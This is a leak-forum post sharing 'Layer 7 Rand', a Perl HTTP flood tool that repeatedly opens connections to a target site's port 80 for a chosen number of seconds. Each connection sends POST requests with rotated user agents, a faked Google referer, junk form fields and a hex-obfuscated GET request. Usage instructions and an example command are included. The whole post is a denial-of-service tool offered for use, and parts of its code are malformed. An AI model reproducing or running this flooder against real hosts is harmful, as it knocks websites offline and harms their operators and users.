Layer 7 Rand (Perl)

MWHAX7 · 6 Juillet 2017

Code:

[LIST=1]
[*]#!/usr/bin/perl
[*]use strict;
[*]use IO::Socket::INET;
[*]

[*]###################################
[*]########## Author : G4eL ##########
[*]###################################
[*]

[*]if ($#ARGV != 1) {
[*]system $^O eq 'MSWin32' ? 'cls' : 'clear';
[*]print <<EOTEXT;
[*]____________
[*]MM"""""""`MM                         dP
[*]MM  mmmm,  M                         88
[*]M'        .M .d8888b. 88d888b. .d888b88
[*]MM  MMMb. "M 88'  `88 88'  `88 88'  `88
[*]MM  MMMMM  M 88.  .88 88    88 88.  .88
[*]MM  MMMMM  M `88888P8 dP    dP `88888P8
[*]MMMMMMMMMMMM
[*]                +-+-+-+-+ +-+-+-+-+
[*]                |H|T|T|P| |R|a|n|d|
[*]                +-+-+-+-+ +-+-+-+-+
[*]

[*]How to use : perl rand.pl <ip or url> <time>
[*]

[*]<ip/url> = 0.0.0.0 or URL.com
[*]<time> = Time in seconds
[*]

[*]Example IP : perl rand.pl 95.0.0.0 60
[*]Example URL : perl rand.pl site.com 60
[*]

[*][ Author -> G4eL ]
[*][ http://pastebin.com/u/G4eL ]
[*]

[*]EOTEXT
[*]exit(1);
[*]}
[*]

[*]my ($ip,$time) = @ARGV;
[*]my ($endtime, $sock);
[*]$endtime = time() + ($time ? $time : 1);
[*]

[*]my @referer = ('http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&url=$ip');
[*]

[*]my @agent = ('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
[*]'Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13)',
[*]'Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0',
[*]'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:21.0) Gecko/20100101 Firefox/21.0',
[*]'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)',
[*]'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
[*]'Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; LNV-Lenovo K910e/S100; 1080*1920; CTC/2.0) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safa',
[*]'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
[*]'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1',
[*]'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0',
[*]'Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.02 [en]',
[*]'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
[*]'Lynx/2.8.8dev.12 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.14',
[*]'Opera/9.20 (Windows NT 6.0; U; en)',
[*]'Mozilla/5.0 (X11; Linux) KHTML/4.9.1 (like Gecko) Konqueror/4.9',
[*]'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
[*]'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
[*]'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
[*]'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
[*]'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
[*]'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
[*]'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
[*]'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
[*]'Mozilla/5.0 (X11; Linux 3.5.4-1-ARCH i686; es) KHTML/4.9.1 (like Gecko) Konqueror/4.9',
[*]'Mozilla/5.0 (compatible; Konqueror/3.5; SunOS)',
[*]'Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)',
[*]'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
[*]'Mozilla/5.0 (X11) KHTML/4.9.1 (like Gecko) Konqueror/4.9)');
[*]

[*]my $foke =
[*]"\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30".
[*]"\x48\x6f\x73\x74\x3a\x20\0x687474703a2f2f", pack("H*", $ip).
[*]"\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x75\x72\x6c\x3f\x73\x61\x3d\x74\x26\x72\x63\x74\x3d\x6a\x26\x71\x3d\x26\x65\x73\x72\x63\x3d\x73\x26\x73\x6f\x75\x72\x63\x65\x3d\x77\x65\x62\x26\x63\x64\x3d\x31\x26\x75\x72\x6c\x3d\0x687474703a2f2f", pack("H*", $ip).
[*]"\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65";
[*]

[*]my $reqq =
[*]"POST / HTTP/1.0\r\n".
[*]"Referer: {foreach (sort {int(rand(1))-1} @referer)}\r\n".
[*]"Content-Type: application/x-www-form-urlencoded\r\n".
[*]"Connection: Keep-Alive\r\n".
[*]"User-Agent: {foreach (sort {int(rand(1))-1} @agent)}\r\n".
[*]"Host: $ip\r\n".
[*]"\r\n".
[*]"skype=00000&host=00000&login=00000&password=00000&pseudo=00000&about=00000&test=00000&home=00000&page=00000&pages=00000&info=00000&infos=00000&check=00000&verif=00000&port=00000&time=00000&temps=00000&key=00000&news=00000&submit=00000&msg=00000&message=00000&link=00000&url=00000&[email protected]&[email protected]&show=00000&id=00000\r\n";
[*]

[*]for (;time() <= $endtime;) {
[*]$sock = IO::Socket::INET->new(PeerAddr => "$ip", PeerPort => 80, Proto => "tcp") or next;
[*]print $sock $reqq;
[*]print $sock $foke;
[*]close($sock);
[*]}
[/LIST]

Code:

perl rand.pl 127.0.0.1 3600

Layer 7 Rand (Perl)

MWHAX7

VeryLeak's Unique Member 👑